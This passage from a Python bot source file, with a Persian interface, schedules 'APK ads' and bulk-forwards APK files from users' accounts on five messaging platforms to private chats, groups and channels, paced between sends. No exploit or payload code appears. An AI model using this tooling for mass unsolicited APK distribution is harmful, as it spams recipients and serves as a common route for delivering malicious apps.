    else:
        log.warning(f"TRX660 image not found for {target} | keyword={keyword}")

    # 3) Caption immediately after the photo, or as the only text if no photo.
    dest = await _trx_resolve_target(client, target)
    send = getattr(client, "send_message", None)
    if image_sent:
        image_state = _TRX190_IMAGE_RESULTS.get(
            (str(target), str(image_url)[:200]),
            {},
        )
        if not image_state.get("caption_attached"):
            if not callable(send):
                raise RuntimeError("account client has no send_message")
            msg_id = None
            result_obj = image_state.get("result")
            if isinstance(result_obj, dict):
                nested = result_obj.get("result") if isinstance(result_obj.get("result"), dict) else {}
                msg_id = result_obj.get("id") or result_obj.get("message_id") or nested.get("message_id")
            else:
                msg_id = getattr(result_obj, "id", None) or getattr(result_obj, "message_id", None)
            await _trx660_send_gap(uid, aid)
            try:
                kwargs = {"reply_to_message_id": msg_id} if msg_id is not None else {}
                await _trx_maybe_await(send(dest, caption, **kwargs))
            except TypeError:
                await _trx_maybe_await(send(dest, caption))
    else:
        if not callable(send):
            raise RuntimeError("account client has no send_message")
        await _trx660_send_gap(uid, aid)
        await _trx_maybe_await(send(dest, caption))

    # 4) APK is sent only after the image/caption stage.
    forwarded = None
    if apk_id:
        await _trx660_send_gap(uid, aid)
        ok, info = await _trx_forward_source_apk_v11(uid, aid, target, apk_id)
        if not ok:
            if download_link:
                log.warning(
                    f"TRX190 APK forward failed; configured link remains available: "
                    f"{_mask(str(info))}"
                )
            else:
                raise RuntimeError(f"APK forward failed: {info}")
        else:
            forwarded = info
    elif download_link:
        if not callable(send):
            raise RuntimeError("account client has no send_message")
        await _trx660_send_gap(uid, aid)
        await _trx_maybe_await(send(dest, download_link[:2000]))

    stamp = now()
    db.execute(
        "UPDATE ai_tasks SET last_run=?,run_count=run_count+1,updated_at=? WHERE id=?",
        (stamp, stamp, task["id"]),
    )
    _trx660_record_task_result(task["id"], True, caption)
    log_account_activity(aid, uid, "scheduled_apk_ad", target, 1)
    return True


_trx115_run_task_v14 = _trx660_run_task
_trx115_run_task = _trx660_run_task
_trx_run_task = _trx660_run_task
_trx_scheduler_loop = _trx660_scheduler_loop


# -------------------------------------------------------------------
# 13) Force-join schema guard: no-op if already correct, additive otherwise.
# -------------------------------------------------------------------
try:
    _trx113_ensure_force_join_schema()
except Exception as exc:
    log.warning(f"TRX190 force_join schema guard failed: {_mask(str(exc))}")


# -------------------------------------------------------------------
# 14) Final exact settings/build marker.
# -------------------------------------------------------------------
TRX01_AI_ANALYSIS_DAILY_LIMIT = 7
TRX190_BUILD = "2026-09-24-final-request-v1"

# =====================================================================
# TRX222 FINAL ADDITIVE HOTFIX
# هدف: رفع هم‌زمان باگ‌های ۱ تا ۲۳ بدون حذف هیچ تابع/کلاس/خط قبلی.
# این بخش فقط override/compatibility patch است و خط‌های قبلی را نگه می‌دارد.
# =====================================================================

# ---------------- BUGS 1-3: five-platform APK UI + migration ----------------
_TRX222_OLD_APK_PANEL_TEXT = _trx660_apk_panel_text
_TRX222_OLD_APK_PANEL_KB = _trx660_apk_panel_kb
_TRX222_OLD_APK_MIGRATE = _trx660_apk_config_migrate_conn

def _trx222_apk_platforms():
    return ("rubika", "soroush", "bale", "telegram", "shad")

def _trx660_apk_panel_text(uid, lang):
    en = str(lang or "fa").lower().startswith("en")
    try:
        base_text = _TRX660_OLD_APK_PANEL_TEXT(uid, lang)
    except Exception:
        base_text = "📦 **APK Management**" if en else "📦 **مدیریت APK**"

    lines = [str(base_text or "").rstrip(), "",
             ("📱 Platform status:" if en else "📱 وضعیت مستقل هر پلتفرم:")]
    labels = {
        "rubika": "Rubika" if en else "روبیکا",
        "soroush": "Soroush Plus" if en else "سروش پلاس",
        "bale": "Bale" if en else "بله",
        "telegram": "Telegram" if en else "تلگرام",
        "shad": "Shad" if en else "شاد",
    }
    for platform in _trx222_apk_platforms():
        try:
            cfg = _trx660_get_apk_config(uid, platform)
        except Exception:
            cfg = None
        if not cfg:
            status = "Not configured" if en else "تنظیم نشده"
        elif not int(cfg["enabled"] or 0):
            status = "Disabled" if en else "خاموش"
        elif int(cfg["apk_id"] or 0):
            status = f"APK #{int(cfg['apk_id'])}" if en else f"APK #{int(cfg['apk_id'])} فعال"
        elif str(cfg["download_link"] or "").strip():
            status = "Link only" if en else "فقط لینک"
        else:
            status = "Incomplete" if en else "ناقص"
        lines.append(f"• {labels[platform]}: {status}")
    return "\n".join(x for x in lines if x is not None)

def _trx660_apk_panel_text_final(uid, lang):
    try:
        return _trx660_apk_panel_text(uid, lang)
    except Exception:
        return _TRX222_OLD_APK_PANEL_TEXT(uid, lang)

def _trx660_apk_panel_kb(uid, lang):
    en = str(lang or "fa").lower().startswith("en")
    try:
        base = _TRX222_OLD_APK_PANEL_KB(uid, lang)
    except Exception:
        base = {"inline_keyboard": []}
    rows = []
    for row in list(base.get("inline_keyboard", [])):
        # Prevent the legacy three-platform rows from being duplicated.
        filtered = [
            b for b in row
            if not str(b.get("callback_data", "")).startswith("trx660.apk.platform:")
        ]
        if filtered:
            rows.append(filtered)

    platform_labels = {
        "rubika": ("🟦 Rubika", "🟦 روبیکا", "primary"),
        "soroush": ("🟥 Soroush", "🟥 سروش پلاس", "success"),
        "bale": ("🟨 Bale", "🟨 بله", "primary"),
        "telegram": ("🟦 Telegram", "🟦 تلگرام", "primary"),
        "shad": ("🟩 Shad", "🟩 شاد", "success"),
    }
    # Insert before final navigation row, preserving the old rows/features.
    insert_at = max(0, len(rows) - 1)
    new_rows = []
    new_rows.append([
        {"text": platform_labels["rubika"][0] if en else platform_labels["rubika"][1],
         "callback_data": "trx660.apk.platform:rubika"},
        {"text": platform_labels["soroush"][0] if en else platform_labels["soroush"][1],
         "callback_data": "trx660.apk.platform:soroush"},
    ])
    new_rows.append([
        {"text": platform_labels["bale"][0] if en else platform_labels["bale"][1],
         "callback_data": "trx660.apk.platform:bale"},
        {"text": platform_labels["telegram"][0] if en else platform_labels["telegram"][1],
         "callback_data": "trx660.apk.platform:telegram"},
    ])
    new_rows.append([
        {"text": platform_labels["shad"][0] if en else platform_labels["shad"][1],
         "callback_data": "trx660.apk.platform:shad"},
    ])
    rows[insert_at:insert_at] = new_rows
    return {"inline_keyboard": rows}

_trx115_apk_panel_text = _trx660_apk_panel_text_final
_trx115_apk_panel_kb = _trx660_apk_panel_kb

def _trx660_apk_config_migrate_conn(conn):
    # Keep the original migration exactly available, then add the two missing platforms.
    _TRX222_OLD_APK_MIGRATE(conn)
    try:
        if _trx660_db_table_exists(conn, "trx01_apk_links") and _trx660_db_table_exists(conn, "accounts"):
            rows = conn.execute(
                """
                SELECT a.user_id, l.platform, l.target_account, l.apk_id,
                       l.source_peer, l.source_message_id, l.file_name, l.file_size, l.apk_link
                FROM trx01_apk_links l
                JOIN accounts a ON a.id=CAST(l.target_account AS INTEGER)
                WHERE l.platform IN ('rubika','soroush','bale','telegram','shad')
                ORDER BY l.id ASC
                """
            ).fetchall()
            for r in rows:
                uid, platform = int(r[0]), _trx660_normalize_platform(r[1])
                if platform not in _trx222_apk_platforms():
                    continue
                stamp = datetime.utcnow().isoformat(timespec="seconds")
                conn.execute(
                    """
                    INSERT OR IGNORE INTO trx660_apk_config(
                        user_id,platform,source_account_id,apk_id,source_peer,source_message_id,
                        file_name,file_size,download_link,enabled,created_at,updated_at
                    ) VALUES(?,?,?,?,?,?,?,?,?,1,?,?)
                    """,
                    (
                        uid, platform, int(r[2] or 0), int(r[3] or 0), str(r[4] or ""),
                        str(r[5] or ""), str(r[6] or ""), int(r[7] or 0), str(r[8] or ""),
                        stamp, stamp,
                    ),
                )
        if _trx660_db_table_exists(conn, "apk_sources") and _trx660_db_table_exists(conn, "apk_files"):
            rows = conn.execute(
                """
                SELECT af.user_id, src.platform, src.account_id, af.id, src.source_peer,
                       src.source_message_id, af.file_name, af.file_size
                FROM apk_files af
                JOIN apk_sources src ON src.apk_id=af.id
                WHERE af.enabled=1 AND src.platform IN ('rubika','soroush','bale','telegram','shad')
                ORDER BY af.id DESC
                """
            ).fetchall()
            for r in rows:
                uid, platform = int(r[0]), _trx660_normalize_platform(r[1])
                if platform not in _trx222_apk_platforms():
                    continue
                stamp = datetime.utcnow().isoformat(timespec="seconds")
                conn.execute(
                    """
                    INSERT OR IGNORE INTO trx660_apk_config(
                        user_id,platform,source_account_id,apk_id,source_peer,source_message_id,
                        file_name,file_size,enabled,created_at,updated_at
                    ) VALUES(?,?,?,?,?,?,?,?,1,?,?)
                    """,
                    (
                        uid, platform, int(r[2] or 0), int(r[3] or 0), str(r[4] or ""),
                        str(r[5] or ""), str(r[6] or ""), int(r[7] or 0), stamp, stamp,
                    ),
                )
        conn.commit()
    except Exception as exc:
        log.warning(f"TRX222 APK five-platform migration add-on skipped: {_mask(str(exc))}")

# Re-bind DB init's global lookup to the final five-platform migration.
# The original DB constructor and all previous migrations remain intact.

# ---------------- BUG 5/23: safe platform-manager compatibility ----------------
def _trx660_platform_manager_kb(uid, lang=None, platform=None):
    # New form: (uid, lang, platform). Old form: (lang, platform) remains accepted.
    if platform is None:
        platform = lang
        lang = uid
        uid = 0
    en = str(lang or "fa").lower().startswith("en")
    p = _trx660_normalize_platform(platform)
    cfg = None
    try:
        if uid:
            cfg = _trx660_get_apk_config(int(uid), p)
    except Exception:
        cfg = None
    enabled = bool(cfg and int(cfg["enabled"] or 0))
    return IKB([
        [(trx_sc("🔗 Set Source") if en else "🔗 تنظیم منبع", f"trx660.apk.source:{p}"),
         (trx_sc("🔗 Download Link") if en else "🔗 لینک دانلود", f"trx660.apk.link:{p}")],
        [(trx_sc("📝 Description") if en else "📝 توضیحات", f"trx660.apk.desc:{p}"),
         (trx_sc("📘 Install Guide") if en else "📘 آموزش نصب", f"trx660.apk.guide:{p}")],
        [((trx_sc("🔴 Disable") if enabled else trx_sc("🟢 Enable")) if en
          else ("🔴 غیرفعال کردن" if enabled else "🟢 فعال کردن"), f"trx660.apk.toggle:{p}")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "apk")],
    ])

# ---------------- BUG 6: AI platform binding menu ----------------
def _ai_platform_kb():
    return IKB([
        [("🔵 روبیکا", "ai.bind.plat:rubika", "primary"),
         ("🟢 سروش پلاس", "ai.bind.plat:soroush", "success")],
        [("🟡 بله", "ai.bind.plat:bale", "primary"),
         ("🟦 تلگرام", "ai.bind.plat:telegram", "primary")],
        [("🟩 شاد", "ai.bind.plat:shad", "success")],
        [(t("fa", "btn.back"), "ai", "primary")],
    ])

# ---------------- BUG 7: service names ----------------
def _trx_service_name(lang, svc):
    names = {
        "rubika": ("Rubika", "روبیکا"),
        "soroush": ("Soroush Plus", "سروش پلاس"),
        "bale": ("Bale", "بله"),
        "telegram": ("Telegram", "تلگرام"),
        "shad": ("Shad", "شاد"),
    }
    pair = names.get(str(svc or "").lower())
    if not pair:
        return str(svc)
    return pair[0] if str(lang or "fa").lower().startswith("en") else pair[1]

# ---------------- BUG 8: task/channel platform menu ----------------
def _trx115_task_platform_kb_v14(lang, kind):
    en = str(lang).lower().startswith("en")
    prefix = f"trx115.{kind}.platform"
    return IKB([
        [
            (trx_sc("🔵 Rubika") if en else "🔵 روبیکا", f"{prefix}:rubika"),
            (trx_sc("🔴 Soroush Plus") if en else "🔴 سروش پلاس", f"{prefix}:soroush"),
        ],
        [
            (trx_sc("🟡 Bale") if en else "🟡 بله", f"{prefix}:bale"),
            (trx_sc("🟦 Telegram") if en else "🟦 تلگرام", f"{prefix}:telegram"),
        ],
        [(trx_sc("🟩 Shad") if en else "🟩 شاد", f"{prefix}:shad")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", f"ai.{kind}")],
    ])

# ---------------- BUG 9: Shad restore without connect() ----------------
_TRX222_OLD_RESTORE = _trx_restore_one_account

async def _trx_restore_one_account(uid: int, aid: int):
    row = db.fetchone(
        "SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",
        (aid, uid),
    )
    if row and str(row["service"] or "").lower() == "shad":
        svc = "shad"
        try:
            _ensure_pkg("aioshad", optional=True)
            from aioshad import Client as ShadClient
            session_dir = str(row["session"] or os.path.join(SESS_DIR, f"shad_{uid}"))
            client = ShadClient(row["phone"], session_directory=session_dir)
            connect = getattr(client, "connect", None)
            if callable(connect):
                await _trx_maybe_await(connect())
            ai_live_clients[(uid, aid)] = client
            active_clients[uid] = {
                "client": client,
                "service": svc,
                "phone": row["phone"],
                "connected": True,
                "account_id": aid,
                "token": None,
            }
            return client
        except Exception as exc:
            log.warning(f"Shad restore failed #{aid}: {_mask(str(exc))}")
            return None
    return await _TRX222_OLD_RESTORE(uid, aid)

# ---------------- BUGS 10/11: Telegram/Shad event registration ----------------
def _trx222_register_shad_handler(client, handler, service, key, key_store):
    for api_name in ("on_message", "on"):
        try:
            fn = getattr(client, api_name, None)
            if not callable(fn):
                continue

            # Direct callback form.
            try:
                result = fn(handler)
                if asyncio.iscoroutine(result):
                    try:
                        asyncio.get_running_loop().create_task(result)
                    except Exception:
                        pass
                key_store.add(key)
                return True
            except TypeError:
                pass

            # Decorator factory forms.
            for args in ((), (None,)):
                try:
                    decorator = fn(*args)
                    if callable(decorator):
                        decorator(handler)
                        key_store.add(key)
                        return True
                except TypeError:
                    continue
        except Exception as exc:
            log.debug(f"TRX222 {service} {api_name} registration failed: {_mask(str(exc))}")

    try:
        add = getattr(client, "add_event_handler", None)
        if callable(add):
            result = add(handler)
            if asyncio.iscoroutine(result):
                try:
                    asyncio.get_running_loop().create_task(result)
                except Exception:
                    pass
            key_store.add(key)
            return True
    except Exception as exc:
        log.debug(f"TRX222 {service} add_event_handler failed: {_mask(str(exc))}")
    return False

def _trx222_register_telegram_handler(client, handler, key, key_store):
    try:
        from telethon import events as tg_events
        on = getattr(client, "on", None)
        if callable(on):
            for builder in (tg_events.NewMessage, tg_events.NewMessage()):
                try:
                    deco = on(builder)
                    if callable(deco):
                        deco(handler)
                        key_store.add(key)
                        return True
                except TypeError:
                    continue
    except Exception as exc:
        log.warning(f"TRX222 Telegram event registration failed: {_mask(str(exc))}")
    return False

_TRX222_OLD_TRX01_REGISTER = _trx01_register_handler
def _trx01_register_handler(client, uid, service, aid):
    service = str(service or "").lower()
    key = (int(uid), int(aid), id(client))
    if key in _TRX01_HANDLER_KEYS:
        return True
    async def handler(event):
        try:
            await _trx01_event_handler(event, int(uid), service, int(aid))
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            log.error(f"TRX01 handler {service}/{aid}: {_mask(str(exc))}")

    if service == "telegram" and _trx222_register_telegram_handler(client, handler, key, _TRX01_HANDLER_KEYS):
        return True
    if service == "shad" and _trx222_register_shad_handler(client, handler, service, key, _TRX01_HANDLER_KEYS):
        return True
    return _TRX222_OLD_TRX01_REGISTER(client, uid, service, aid)

_TRX222_OLD_TRX77_REGISTER = _trx77_register_handler
def _trx77_register_handler(client, uid, service, aid):
    service = str(service or "").lower()
    key = (int(uid), int(aid), id(client))
    if key in _TRX77_HANDLER_KEYS:
        return True
    async def handler(event):
        try:
            await _trx77_event_handler(event, int(uid), service, int(aid))
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            log.error(f"TRX77 live handler {service}/{aid}: {_mask(str(exc))}")

    if service == "telegram" and _trx222_register_telegram_handler(client, handler, key, _TRX77_HANDLER_KEYS):
        return True
    if service == "shad" and _trx222_register_shad_handler(client, handler, service, key, _TRX77_HANDLER_KEYS):
        return True
    return _TRX222_OLD_TRX77_REGISTER(client, uid, service, aid)

# ---------------- BUG 13/16: AI menu contains APK send button ----------------
_TRX222_OLD_AI_MENU = ai_advanced_menu

def ai_advanced_menu(lang, uid):
    base = _TRX222_OLD_AI_MENU(lang, uid)
    try:
        data = json.loads(json.dumps(base, ensure_ascii=False))
        rows = data.get("inline_keyboard", [])
        found_analysis = False
        found_apk = False
        cleaned_rows = []
        for row in rows:
            kept = []
            for button in row:
                cb = button.get("callback_data")
                if cb == "ai.analysis":
                    found_analysis = True
                elif cb == "ai.apk.send":
                    found_apk = True
                kept.append(button)
            if kept:
                cleaned_rows.append(kept)

        # Analysis is quota-aware and continues to use the module constant.
        remaining = max(
            0,
            TRX01_AI_ANALYSIS_DAILY_LIMIT - _trx01_analysis_quota(uid),
        )
        if remaining > 0 and not found_analysis:
            cleaned_rows.insert(
                max(0, len(cleaned_rows) - 1),
                [{"text": "🔎 تحلیل AI", "callback_data": "ai.analysis", "style": "primary"}],
            )

        if not found_apk:
            cleaned_rows.insert(
                max(0, len(cleaned_rows) - 1),
                [{"text": "📤 ارسال APK", "callback_data": "ai.apk.send", "style": "primary"}],
            )

        data["inline_keyboard"] = cleaned_rows
        return data
    except Exception as exc:
        log.warning(f"TRX222 AI menu patch failed: {_mask(str(exc))}")
        return base

# ---------------- BUG 21: context-aware task back buttons ----------------
_TRX222_OLD_PLATFORM_ONLY = _trx01_platform_only_kb

def _trx01_platform_only_kb(lang, prefix):
    en = str(lang or "fa").lower().startswith("en")
    if "task.group" in str(prefix):
        back = "ai.group"
    elif "task.channel" in str(prefix):
        back = "ai.channel"
    elif "apk_send" in str(prefix):
        back = "ai.apk.send"
    else:
        back = "ai"
    rows = [
        [
            (trx_sc("🟡 Bale") if en else "🟡 بله", f"{prefix}:bale"),
            (trx_sc("🔴 Soroush") if en else "🔴 سروش پلاس", f"{prefix}:soroush"),
        ],
        [
            (trx_sc("🔵 Rubika") if en else "🔵 روبیکا", f"{prefix}:rubika"),
            (trx_sc("🟦 Telegram") if en else "🟦 تلگرام", f"{prefix}:telegram"),
        ],
        [(trx_sc("🟩 Shad") if en else "🟩 شاد", f"{prefix}:shad")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", back)],
    ]
    return IKB(rows)

# ---------------- BUGS 14/15/20: separate setup vs bulk-send states ----------------
_TRX222_SETUP_STATES = {"trx01_apk_setup_link", "trx660_apk_source_link"}
_TRX222_BULK_STATE = "trx660_apk_send_link"

async def _trx222_account_for_callback(uid, data_s):
    try:
        aid = int(str(data_s).split(":", 1)[1])
    except Exception:
        return None, None, None
    row = db.fetchone(
        "SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1",
        (aid, uid),
    )
    if not row:
        return aid, None, None
    platform = _trx660_normalize_platform(row["service"])
    return aid, platform, row

_TRX222_OLD_FINAL_DISPATCH = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    try:
        # Subscription gate for both analysis and APK-send flows.
        if data_s in {"ai.analysis", "ai.apk.send"}:
            if not is_admin(uid) and not get_active_subscription(uid):
                return await _edit(
                    chat_id,
                    msg_id,
                    "🔒 این بخش نیاز به اشتراک فعال داره",
                    _sub_kb_v2(lang),
                )

        if data_s == "ai.analysis":
            used = _trx01_analysis_quota(uid)
            if used >= TRX01_AI_ANALYSIS_DAILY_LIMIT:
                return await _edit(
                    chat_id, msg_id,
                    "🔎 **تحلیل AI**\n\nسهمیه امروز تموم شده.",
                    ai_advanced_menu(lang, uid),
                )
            remaining = max(0, TRX01_AI_ANALYSIS_DAILY_LIMIT - used)
            state.set(uid, "trx01_ai_analysis")
            return await _edit(
                chat_id, msg_id,
                f"🔎 **تحلیل AI**\n\nامروز {remaining} سؤال از {TRX01_AI_ANALYSIS_DAILY_LIMIT} سؤال باقی مونده.\nسؤالت رو بپرس.",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == "ai.apk.send":
            return await _edit(
                chat_id, msg_id,
                "📤 **ارسال APK**\n\nاول پلتفرم رو انتخاب کن.",
                _trx01_platform_only_kb(lang, "trx113.apk_send.platform"),
            )

        # Explicit setup-only account callbacks, including the previously missing trx113 form.
        setup_prefixes = (
            "trx660.apk_setup.account:",
            "trx01.apk_setup.account:",
            "trx113.apk_setup.account:",
            "trx660.apk.source.account:",
        )
        if data_s.startswith(setup_prefixes):
            aid, platform, row = await _trx222_account_for_callback(uid, data_s)
            if not row:
                return await _edit(
                    chat_id, msg_id, "❌ اکانت پیدا نشد.",
                    _trx115_apk_panel_kb(uid, lang),
                )
            state.set(
                uid,
                "trx01_apk_setup_link",
                platform=platform,
                account_id=aid,
                target_account=str(aid),
                flow_key=f"{uid}:{platform}:{aid}",
            )
            return await _edit(
                chat_id,
                msg_id,
                f"🔗 لینک مستقیم پیام APK برای {_trx01_service_label(platform)} را بفرست.",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        bulk_prefixes = (
            "trx113.apk_send.account:",
            "trx660.apk_send.account:",
            "trx01.apk_send.account:",
        )
        if data_s.startswith(bulk_prefixes):
            if not is_admin(uid) and not get_active_subscription(uid):
                return await _edit(
                    chat_id, msg_id,
                    "🔒 این بخش نیاز به اشتراک فعال داره",
                    _sub_kb_v2(lang),
                )
            aid, platform, row = await _trx222_account_for_callback(uid, data_s)
            if not row:
                return await _edit(
                    chat_id, msg_id, "❌ اکانت پیدا نشد.",
                    _trx01_platform_only_kb(lang, "trx113.apk_send.platform"),
                )
            state.set(
                uid,
                _TRX222_BULK_STATE,
                platform=platform,
                account_id=aid,
                target_account=str(aid),
                flow_key=f"{uid}:{platform}:{aid}",
            )
            return await _edit(
                chat_id, msg_id,
                f"📎 لینک مستقیم پست/پیام APK در {_trx01_service_label(platform)} را بفرست.",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        # Ensure platform-prefix account menus get the correct context-aware back value.
        for prefix in (
            "trx660.apk_setup.platform:",
            "trx01.apk_setup.platform:",
            "trx01.apk_send.platform:",
            "trx660.apk_send.platform:",
            "trx113.apk_send.platform:",
            "trx113.apk_setup.platform:",
            "trx01.task.group.platform:",
            "trx01.task.channel.platform:",
        ):
            if data_s.startswith(prefix):
                platform = _trx660_normalize_platform(data_s.split(":", 1)[1])
                if platform not in TRX660_ALLOWED_PLATFORMS:
                    return await _edit(
                        chat_id, msg_id, "❌ پلتفرم نامعتبر است.",
                        _trx01_platform_only_kb(lang, prefix[:-1]),
                    )
                if "task.group" in prefix:
                    back = "ai.group"
                elif "task.channel" in prefix:
                    back = "ai.channel"
                elif "apk_send" in prefix:
                    back = "ai.apk.send"
                else:
                    back = "ai"
                return await _edit(
                    chat_id, msg_id,
                    f"📱 اکانت هدف {_trx01_service_label(platform)} را انتخاب کن.",
                    _trx01_account_kb(
                        uid, lang, prefix.rsplit(".", 1)[0] + ".account",
                        platform, back=back,
                    ),
                )

        # Five-platform APK manager callback.
        if data_s.startswith("trx660.apk.platform:"):
            platform = _trx660_normalize_platform(data_s.split(":", 1)[1])
            if platform not in TRX660_ALLOWED_PLATFORMS:
                return await _edit(chat_id, msg_id, "❌ پلتفرم نامعتبر است.", _trx115_apk_panel_kb(uid, lang))
            cfg = _trx660_get_apk_config(uid, platform)
            status = "تنظیم نشده" if not cfg else (
                "خاموش" if not int(cfg["enabled"] or 0) else
                (f"APK #{int(cfg['apk_id'])}" if int(cfg["apk_id"] or 0)
                 else ("فقط لینک" if str(cfg["download_link"] or "").strip() else "ناقص"))
            )
            return await _edit(
                chat_id, msg_id,
                f"📦 **{_trx01_service_label(platform)}**\n\nوضعیت: **{status}**\n\nتنظیمات این پلتفرم مستقل است.",
                _trx660_platform_manager_kb_for_user(uid, lang, platform),
            )
    except Exception as exc:
        log.error(f"TRX222 dispatch hotfix failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
    return await _TRX222_OLD_FINAL_DISPATCH(cb_id, uid, lang, u, chat_id, msg_id, data_s)

# ---------------- Message routing for setup-only vs intentional bulk-send ----------------
_TRX222_OLD_FINAL_ON_MSG = on_msg

async def _trx222_handle_apk_setup_message(msg, uid, chat_id, lang, s, txt):
    platform = _trx660_normalize_platform(s.get("platform"))
    try:
        aid = int(s.get("account_id"))
    except Exception:
        state.pop(uid)
        return await bot.send(chat_id, "❌ شناسه اکانت نامعتبر است.", reply_markup=_trx115_apk_panel_kb(uid, lang))

    expected = f"{uid}:{platform}:{aid}"
    if s.get("flow_key") and s.get("flow_key") != expected:
        state.pop(uid)
        return await bot.send(
            chat_id,
            "❌ این درخواست منقضی شده؛ دوباره از تنظیم APK شروع کن.",
            reply_markup=_trx115_apk_panel_kb(uid, lang),
        )
    ok, reason, _, _ = _trx01_validate_apk_link(platform, txt)
    if not ok:
        return await bot.send(
            chat_id, "❌ " + str(reason),
            reply_markup=IKB([[("❌ لغو", "cancel", "danger")]]),
        )
    ok_save, info, row = await _trx660_save_apk_link(uid, aid, platform, txt)
    if not ok_save:
        return await bot.send(
            chat_id, "❌ " + str(info),
            reply_markup=_trx115_apk_panel_kb(uid, lang),
        )
    state.pop(uid)
    return await bot.send(
        chat_id,
        f"✅ APK برای {_trx01_service_label(platform)} فقط ثبت شد.\n\nهیچ فوروارد انبوهی از این مسیر اجرا نمی‌شود.",
        reply_markup=_trx115_apk_panel_kb(uid, lang),
    )

async def _trx222_handle_apk_bulk_message(msg, uid, chat_id, lang, s, txt):
    platform = _trx660_normalize_platform(s.get("platform"))
    try:
        aid = int(s.get("account_id"))
    except Exception:
        state.pop(uid)
        return await bot.send(chat_id, "❌ شناسه اکانت نامعتبر است.", reply_markup=ai_advanced_menu(lang, uid))

    expected = f"{uid}:{platform}:{aid}"
    if s.get("flow_key") and s.get("flow_key") != expected:
        state.pop(uid)
        return await bot.send(
            chat_id,
            "❌ این درخواست منقضی شده؛ دوباره از ارسال APK شروع کن.",
            reply_markup=ai_advanced_menu(lang, uid),
        )
    ok, reason, _, _ = _trx01_validate_apk_link(platform, txt)
    if not ok:
        return await bot.send(
            chat_id, "❌ " + str(reason),
            reply_markup=IKB([[("❌ لغو", "cancel", "danger")]]),
        )
    if not is_admin(uid) and not get_active_subscription(uid):
        state.pop(uid)
        return await bot.send(
            chat_id,
            "🔒 این بخش نیاز به اشتراک فعال داره",
            reply_markup=_sub_kb_v2(lang),
        )
    processing = await bot.send(chat_id, "⏳ لینک APK بررسی و سپس در مقصدهای پیکربندی‌شده پردازش می‌شود...")
    try:
        ok_save, info, row = await _trx660_save_apk_link(uid, aid, platform, txt)
        if not ok_save:
            return await bot.send(chat_id, "❌ " + str(info), reply_markup=ai_advanced_menu(lang, uid))
        report = await _trx01_bulk_forward_apk(uid, platform, aid, row)
    except Exception as exc:
        log.error(f"TRX222 APK bulk send failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
        state.pop(uid)
        return await bot.send(
            chat_id,
            f"⚠️ لینک APK ثبت شد ولی فوروارد کامل نشد:\n`{str(exc)[:300]}`",
            reply_markup=ai_advanced_menu(lang, uid),
        )
    finally:
        try:
            pid = processing.get("result", {}).get("message_id") if isinstance(processing, dict) else None
            if pid:
                await bot.call("deleteMessage", chat_id=chat_id, message_id=pid)
        except Exception:
            pass
    state.pop(uid)
    return await bot.send(
        chat_id,
        "✅ **فوروارد APK تمام شد**\n\n"
        f"• پیوی: **{report.get('pv_sent', 0)}**\n"
        f"• گروه/چنل: **{report.get('group_channel_sent', 0)}**\n"
        f"• قبلاً دریافت شده: **{report.get('already', 0)}**\n"
        f"• ناموفق: **{report.get('failed', 0)}**",
        reply_markup=ai_advanced_menu(lang, uid),
    )

async def on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if uid and chat_id and txt and not txt.startswith("/"):
        try:
            s = state.get(uid)
            if s:
                current_state = str(s.get("state"))
                if current_state in _TRX222_SETUP_STATES:
                    return await _trx222_handle_apk_setup_message(msg, uid, chat_id, get_lang(uid), s, txt)
                if current_state == _TRX222_BULK_STATE:
                    return await _trx222_handle_apk_bulk_message(msg, uid, chat_id, get_lang(uid), s, txt)
        except Exception as exc:
            log.error(f"TRX222 APK state router failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
    return await _TRX222_OLD_FINAL_ON_MSG(msg)

# ---------------- BUG 17/18: final quota gate helper + constant usage ----------------
def _trx222_analysis_remaining(uid):
    return max(
        0,
        TRX01_AI_ANALYSIS_DAILY_LIMIT - _trx01_analysis_quota(uid),
    )

# Keep existing runtime symbol and all previous handlers intact.
log.info(
    f"TRX222 additive hotfix loaded | five_platforms={','.join(_trx222_apk_platforms())} "
    f"| analysis_limit={TRX01_AI_ANALYSIS_DAILY_LIMIT}"
)

# ═══════════════════════════════════════════════════════════════════
# TRX_IRAN168 SINGLE-FILE BUILD
# Main bot + TRX127_Z overlay merged into this module.
# `trx` intentionally points to this module; no sibling bot file is loaded.
# ═══════════════════════════════════════════════════════════════════
import tempfile
trx = sys.modules[__name__]
print("[RUN] TRX_IRAN168 single-file runtime loaded; applying merged overlay ...")

# 1) HELPERS / SYMBOLS
# ═══════════════════════════════════════════════════════════════════

def _db():   return getattr(trx, "db", None)
def _bot():  return getattr(trx, "bot", None)
def _ai():   return getattr(trx, "ai", None)
def _log():  return trx.log

now = trx.now
_mask = trx._mask
state = trx.state
ensure_user = trx.ensure_user
get_lang = trx.get_lang
is_admin = trx.is_admin
t = trx.t
IKB = trx.IKB
_wrap_otp_handler = trx._wrap_otp_handler
_trx_task_create = trx._trx_task_create
_trx_ai_system = trx._trx_ai_system
_trx_memory_save = trx._trx_memory_save
_trx_memory_load = trx._trx_memory_load
_trx_peer_key = trx._trx_peer_key
_trx_extract_event_text = trx._trx_extract_event_text
_trx_is_private_event = trx._trx_is_private_event
_trx_is_group_event = trx._trx_is_group_event
_trx_event_is_reply = trx._trx_event_is_reply
_trx_event_mentions_me = trx._trx_event_mentions_me
_trx_event_chat_id = trx._trx_event_chat_id
_trx115_cleanup_caption = trx._trx115_cleanup_caption
_trx77_norm_digits = trx._trx77_norm_digits
_trx01_service_label = trx._trx01_service_label

SEP = "▬ ▬ ▬ ▬ ▬ ▬ ▬ ▬ ▬ ▬"
SEP2 = "◈ ◆ ◈ ◆ ◈ ◆ ◈"

